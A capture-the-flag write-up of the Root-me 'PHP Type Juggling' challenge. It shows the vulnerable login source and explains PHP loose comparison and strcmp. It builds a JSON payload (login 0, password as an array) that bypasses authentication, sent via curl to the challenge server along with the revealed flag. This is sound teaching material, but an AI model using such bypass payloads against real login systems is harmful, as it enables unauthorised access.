Rootme PHP Type Juggling
Root-me.org
PHP Type juggling
PHP loose comparison
On this challenge we need to find a way to login. The title gives us a easy tip on how we need to abuse this.
We even get access to the source code.
If we take a look at the resource that root-me gave us, we get a pretty good idea how we are going to do this. I’ll put two links worth reading concerning this exploit.
http://turbochaos.blogspot.ca/2013/08/exploiting-exotic-bugs-php-type-juggling.html
There’s also this link that is a grid on how each type react with each other.
https://docs.google.com/spreadsheets/d/1oWsmTvEZcfgc_1QkBczNGA3Gcffg_pmgKcak7iZldUw/pub?output=html
http://php.net/manual/en/types.comparisons.php
So to make this short the operator “==” has a very loose way of comparing stuff.
If we take a look at the source code we’ll notice the following.
<?php
// $FLAG, $USER and $PASSWORD_SHA256 in secret file
require("secret.php");
// show my source code
if(isset($_GET['source'])){
show_source(__FILE__);
die();
}
$return['status'] = 'Authentication failed!';
if (isset($_POST["auth"])) {
// retrieve JSON data
$auth = @json_decode($_POST['auth'], true);
// check login and password (sha256)
if($auth['data']['login'] == $USER && !strcmp($auth['data']['password'], $PASSWORD_SHA256)){
$return['status'] = "Access granted! The validation password is: $FLAG";
}
}
print json_encode($return);
It’s using strcmp to compare the password with the sha256 hash of the password. It’s also comparing the username we provide with “==”. Both of these are vulnerable to type juggling.
Next step is to send a request and see how it’s going to the server.
The content of the request looks like this:
auth=%7B%22data%22%3A%7B%22login%22%3A%22admin%22%2C%22password%22%3A%2235bafb1ce99aef3ab068afbaabae8f21fd9b9f02d3a9442e364fa92c0b3eeef0%22%7D%7D
If we urldecode it we’ll see that the content is being sent in a json format.
php -r 'echo urldecode("%7B%22data%22%3A%7B%22login%22%3A%22admin%22%2C%22password%22%3A%2235bafb1ce99aef3ab068afbaabae8f21fd9b9f02d3a9442e364fa92c0b3eeef0%22%7D%7D");'
{"data":{"login":"admin","password":"35bafb1ce99aef3ab068afbaabae8f21fd9b9f02d3a9442e364fa92c0b3eeef0"}}
What i did to test it out, was to recreate the source code on my machine and play around until i found something that was working.
The code looked like this.
<?php
$json='{"data":{"login":"admin","password":"35bafb1ce99aef3ab068afbaabae8f21fd9b9f02d3a9442e364fa92c0b3eeef0"}}';
$FLAG="It works";
$USER='admin';
$PASSWORD_SHA256='597ca293d1e1f6e87a50d1f41033d3942facc8f523499e5bf77b068f62a0fe6a';
$auth=@json_decode($json, true);
$return['status'] = "Authentication failed!";
if($auth['data']['login'] == $USER && !strcmp($auth['data']['password'], $PASSWORD_SHA256)){
$return['status'] = "Access granted! The validation password is: $FLAG";
}
print json_encode($return);
?>
I started by playing around with the password. I modified it in multiple ways trying to find a way to get the $FLAG that i set to the “It works”.
I also set the user to admin, because i didn’t know which username we needed to log with. So i’ll start by bypassing the password then move to the other one.
After playing around with it, making password as an array worked. The password field looked like this.
A comment post on the strcmp page gives us the information to understand why [] works out.
I’ll paste it here.
strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
If => is 0 then it’s true. We can see that if we compare a string to an array we get NULL + PHP Warning. Null will allow us to bypass it.
$json='{"data":{"login":"admin","password":[]}}';
If i ran the script using php
php ch44.php
PHP Warning: strcmp() expects parameter 1 to be string, array given in ch44.php on line 12
{"status":"Access granted! The validation password is: It works"}
It went through. I went ahead and tried it on the web server but it didn’t work. We need to also bypass the username. If we look at the comparison table for “==” found here:
http://php.net/manual/en/types.comparisons.php
We’ll see that for a string with being compared with the operator “==”, if we compare it to 0 it will give us TRUE, also true will give us true.
So our new login will look like this. I’ll put the two possibilities:
$json='{"data":{"login":true,"password": []}}';
$json='{"data":{"login":0,"password": []}}';
Let’s try it again and see if we get through.
php ch44.php
PHP Warning: strcmp() expects parameter 1 to be string, array given in ch44.php on line 12
{"status":"Access granted! The validation password is: It works"}
So it’s working. Now let’s url encode the json data again and sent it.
curl --data-binary "auth=%7B%22data%22%3A%7B%22login%22%3A0%2C%22password%22%3A%5B%5D%7D%7D" http://challenge01.root-me.org/web-serveur/ch44/auth.php
Warning: strcmp() expects parameter 1 to be string, array given in /challenge/web-serveur/ch44/auth.php on line 18
{"status":"Access granted! The validation password is: DontForgetPHPL00seComp4r1s0n"}
There it is